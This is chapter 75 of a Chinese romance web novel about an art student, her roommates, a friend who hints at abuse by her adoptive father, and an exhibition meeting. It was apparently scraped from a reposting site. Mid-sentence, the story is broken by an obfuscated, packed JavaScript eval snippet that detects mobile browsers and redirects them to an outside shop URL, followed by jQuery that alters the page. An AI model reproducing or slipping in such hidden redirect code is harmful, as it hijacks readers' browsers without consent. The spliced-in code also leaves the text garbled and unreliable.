75. chapter 75
作品:《第十秒爱意》 偷偷被塞进手提包里的拍立得像是她那段暗恋时光的烙印,比起新家房间里藏得那张的单人照和简思婕给他俩拍的合照,这张模糊的照片实在算不上好看。
按下快门时,取景框里的人恰好抬眼看过来,端着机身的手颤抖的刹那,照片成像,最后显现出来的就是一张只有摄影师知道模特当时在看哪里的单人照。
嗡嗡——
身边的柯佳在没得到她的回答后早已入睡,被子上震动的手机让桑璇回神。
「X:今晚是不是得跟我道谢?」
“......”
果然是无事不登三宝殿,桑璇皱了皱眉。
·
「你想要什么?」
「X:明天再告诉你。」
「X:晚安」
?
开口自己讨谢礼却又钓着她不说,这么想想欠他的什么乱七八糟的条件愿望,加起来都有三四个了。入睡前莫名觉得自己背了一身债,害得她整晚都没休息好。
第二天中午时分,压根儿没深度睡眠的桑璇听见碗筷碰撞过的动静就起床洗漱。透过门缝只能看到餐厅的一角,岛台上放了几个冒着热气的盘子,她往前再走点才发现穿着家居服的人在厨房里忙活。
折腾了一整晚,没想到精神头还挺足,连菜都已经炒三个了。桑璇在餐桌边倒了杯水,靠在冰箱门上看着施小雨的背影。
“你怎么起这么早?”
桑璇动静没藏着,正在做菜的人大概是早就察觉到她的存在,待炒锅里的蔬菜盛进盘子里,施小雨端着它转过身,"昨晚给你们添了不少麻烦,就想着今天怎么样都得给你们做顿好吃的...尝尝?"
桑璇接过盘子顺手抽了双筷子,奶黄色瓷盘里盛着些粉丝油爆虾。粉丝作为大虾的底托,根根浸在盘底的汤汁里,蒜蓉裹上过油炸脆的金色外壳,最顶上用香葱做着点缀。
事实上,不用试吃,桑璇也能知道它的口味如何。
端着餐盘走到餐桌边坐下,用筷子挑起最底下的一点点粉丝,入口还没超过两秒,桑璇就已经好吃得连连称赞起来,“你怎么学会做菜的!这么好吃!”
“爸妈经常不在家,我得烧饭给我奶奶吃,就..学会了。”施小雨边收拾厨房边有些不大好意思地笑了笑,“本来说想请你们吃顿饭,但现在手上没闲钱,只能借一下厨房了。”
“外面的哪有你烧的好吃。”桑璇望着她的背影,缓缓放下筷子。
昨晚除了顾洵那个谢礼的事情外,还有件更加让她在意的事。想到这事儿不能当着柯佳的面问,桑璇也顾不得这么多,起身走到流理台前,按住还在擦拭灶台的手。
施小雨疑惑抬头,桑璇迟疑片刻后仍旧开口,“我能问你个事儿吗?”
“什么事。”
感受到被压着的手开始慢慢握紧,桑璇就知道,施小雨大概是清楚她想问什么事的。陡然开口确实冒昧,但作为朋友如果对她不闻不问的,似乎也够不上朋友的身份。
“江贝依昨晚说的,你养父会欺负你...是真的吗?”
施小雨的肩膀蓦地一耸,原本的只是紧张的双眼里还多了不安,视线没了定处。
她像是被戳中了痛处,抽出手反握住桑璇的,语气激动,“我没有勾引他,我也没有勾引江贝依的男朋友,这些事我都没有做!”
“我知道!我知道。”桑璇手背上的皮肉被捏得泛白,她出声安抚,“是不是他们欺负你了,是不是...你一直...”她蹙起眉头,那个词语过于难听,“在忍着什么?”
明明室内的温度不低,可她的手却是冰凉的。
施小雨犹豫半晌,视线落到桑璇领口的纽扣上,“我养父...他....”
“我去!什么东西这么香啊!!!”
房门被猛地拉开,柯佳夸张地跑进客厅,手撑在餐桌上欣赏着盘里的菜色,“施小雨!你好厉害啊!!诶?你们干嘛呢?”
桑璇感受施小雨才刚松懈下去的情绪又重新紧绷,不满地咂咂舌,腕骨翻转让那双手正面朝上,“给她看手相呢,你要不也来看看?”
“我不看,我爷爷说我是当官的命,别让你给我看没咯。”柯佳指了指桌上的菜,“能开饭了不?我快被饿穿了!该死的陈亦辰下午还喊我去开会,害得我的美好周末都没了!”
桑璇面色如常地放下施小雨的手,从消毒柜里拿了三副碗筷走到餐桌边,“我下午得去画室,施小雨你呢?”
“我..我也回学校。”
“诶,你不回去看你奶奶吗?”柯佳双手接过饭碗向桑璇道谢,又往嘴里塞了几根青菜。
“我..”
“诶呀,她下午还得去上班呢,怎么回去。”桑璇把盛着饭的碗递给施小雨,“是吧?雨姐最近客人变多了,上回还跟我说早知道赞助的时候投资我一点了呢。”
施小雨机械性地点点头,应声后握着筷子半晌没再出声。
一顿午餐在柯佳的输出和桑璇的敷衍回复中混了过去,没想到还真让桑璇说准了,下午猫咖客流量激增,施小雨都没来得及跟她们一起收拾碗筷就急匆匆离开。
桑璇把抹布洗好,关上洗碗机。打算去整理一下要带到画室去的工具就出门,才刚走到客厅,就见换好衣服的柯佳对着镜子照了半天。
“别臭美了,赶紧帮我找找墨碟。”
“又不见了?”柯佳在客厅里转了一圈,站在沙发前沉思,“你说你会把这玩意儿塞沙发缝里吗?”
“......”
桑璇忍下想把毛笔插进她鼻子里的冲动,“你会把袜子放碗筷柜吗?”
“不会。”
“可你会把顾洵的照片塞展示柜里呀。”
柯佳闪身躲过知己面门的抱枕,跑几步到大门口,理直气壮地叉腰仰着下巴,“昨晚问你的时候,你默认了的!”
“你这掩耳盗铃的方式比我86岁的奶奶还夸张你知道吗?”
“好用就行,你管我跟谁像。”
“而且,你不心虚,藏什么照片呀?”
“那是...”
嗡嗡——
放兜里的手机突然响起打断桑璇的反驳,她看向备注,那个放鸽子的指导老师在消失两周后终于联系了她,只是接起还没等她讲话,对面丢下几个字就挂断了电话。
“......”
桑璇趁着手机息屏前看了眼时间,墨碟干脆也不找了,背起背包就推着柯佳往外冲。
“不是不是!干嘛去?!怎么又推我!”
“两点开会。”
柯佳套上外套,走进恰好赶上的电梯,“那也是我开会,你急什么。”
“我也开会。”
想到那份未知的谢礼,桑璇有些头疼,“韩毅回来了说是在旧三教阶梯教室等我呢。”
“今年那题抽象得感觉交一副枯树图上去也能算扣题哈。”柯佳按下楼层,“估计韩毅这回愁得头发都得白了。”
“不至于,元素选得好,这回选上参展肯定没问题。”
韩毅消失这么久,要说一点收获都没有她也是不信的,能带回来元素,能把元素运用好,成绩就低不到哪儿去。
两人走出电梯,等打车到学校时距离韩毅说的集合时间还有半个小时。集合教室离校门口还算近,步行过去也就十来分钟,看着柯佳接完电话火急火燎冲进校门,桑璇脚步停顿,转身在门口买了杯奶茶才慢悠悠晃进学校。
她到时教室里已经坐着三四个同学了,有些还算眼熟,是前两次一起接受指导的同学。桑璇简单寒暄两句后挑了个位置坐下,又过了几分钟,参展的同学基本都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133100|187879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来齐了,她还是没能见到顾洵的身影。
按照惯例是彼此之间的自我介绍环节,桑璇起身没多说什么,韩毅却得意洋洋地走到她身边,拍了拍她的肩,“我的学生,桑璇。去年省展、前年国展,金奖全是她一个人包揽下来的。含金量我不多说,大家有什么问题想问的,也可以互相探讨探讨。”
“韩老师,您这介绍是一年加一个成就啊!”坐在第一排的男生笑着调侃。
“是啊,桑璇厉害,还不许我借她名头吹一吹牛吗!”
坐在斜后方的女生出声接话,“那您今年除了桑璇还有谁啊?”
“还有你们专业那个交换生啊,叫顾洵是吧,样貌挺好的一小伙子。”
“那他怎么没来啊?”
“嘶”韩毅挠挠脸,“请假了,啊对,那个桑璇,你一会儿的笔记也给他抄一份带去。”
等全部都介绍完毕,投影仪上恰好加载出来照片,是韩毅此次出行的收获。不出所料的是一些山水和花鸟元素,说到重要的地方还会让他们在纸上记录下来。
在会议最后,韩毅用几幅确实算是紧扣主题的画给众人打鸡血,高昂地喂了几碗鸡汤才放人走。
桑璇看着时间,给顾洵发了条消息之后离开阶梯教室。
距离截稿日期还有十来天左右,只要确定元素,一切进行得都会顺利得多。
周末的学校本就人烟稀少,可今天除了湖面上那几只大鹅在扑腾着翅膀之外,路上几乎都没有学生的身影。
桑璇拎着奶茶回到408画室,长桌上摆着未收起的笔墨,还有一副她看不懂的画。大概是顾洵尝试失败的结果,她将宣纸对折摆到一边,随后拿出笔记本,在空位上坐下。
“观自在……”
桑璇看着笔记本上的几个字,不自觉地咬着笔杆沉思。
既是自在,就不能用工笔技巧来绘制作品。不能是环绕的群山,也不能是被困的溪流,甚至是鸟兽虫鱼也不能有被困住的意境,要说足够自在的东西,那应该是——
砰——
正当答案呼之欲出时,画室门猛地敞开,走廊里的冷风灌入室内,打乱了桑璇好不容易抓住的思绪。
牙关一松,笔杆子掉到了手里,她皱眉缓缓抬头,刚要开口,陈亦辰那张神色蔫蔫的脸就突兀地闯进视线。
认识二十几年,这样的状态在他身上属实少见,桑璇硬生生压下去了即将骂出口的话。
“怎么了你?”
陈亦辰脱下羽绒服,无精打采地倒坐在距离最近的那把椅子上,脑袋搭在椅背上,长叹一口气,“哎!我告白又被拒绝了。”
“你女神?她都拒绝你几次了?”
“拒绝我几次不重要!”陈亦辰皱皱巴巴地又叹口气,“重要的是兄弟脱单!这比我自己谈不上还难受!”
“谁谈恋爱了?陈亦阳?”
“怎么可能。”
“那..难道是你家帅帅?”
“他更不可能。”
桑璇横他一眼,懒得在揣测些没营养的东西。只要不是特别沉痛的事,陈亦辰的悲伤估计也就跟夏天的雨没两样,来得快去得也快,搞不好都用不着她安慰,自己就已经安慰好自己了。
她拿起笔记本,接上刚才的思绪。
不要重山,不要溪流。
说起来,独山流水,能向上延伸又能向下延展的应该只有那座庐山瀑布了。
她垂头拿出铅笔打算在空白页上个勾勒出个大概的模样,却在独山刚成型时,头顶唯一的光源都被身旁的身影给挡了去。
桑璇握着铅笔的手一顿,顺着影子抬头,“你又干嘛?”
“哎呀!是顾洵,他要脱单了!”陈亦辰急吼吼地抽出桑璇手里的铅笔,重重压在桌面上,“你死对头要谈恋爱了,你就不难受吗!”

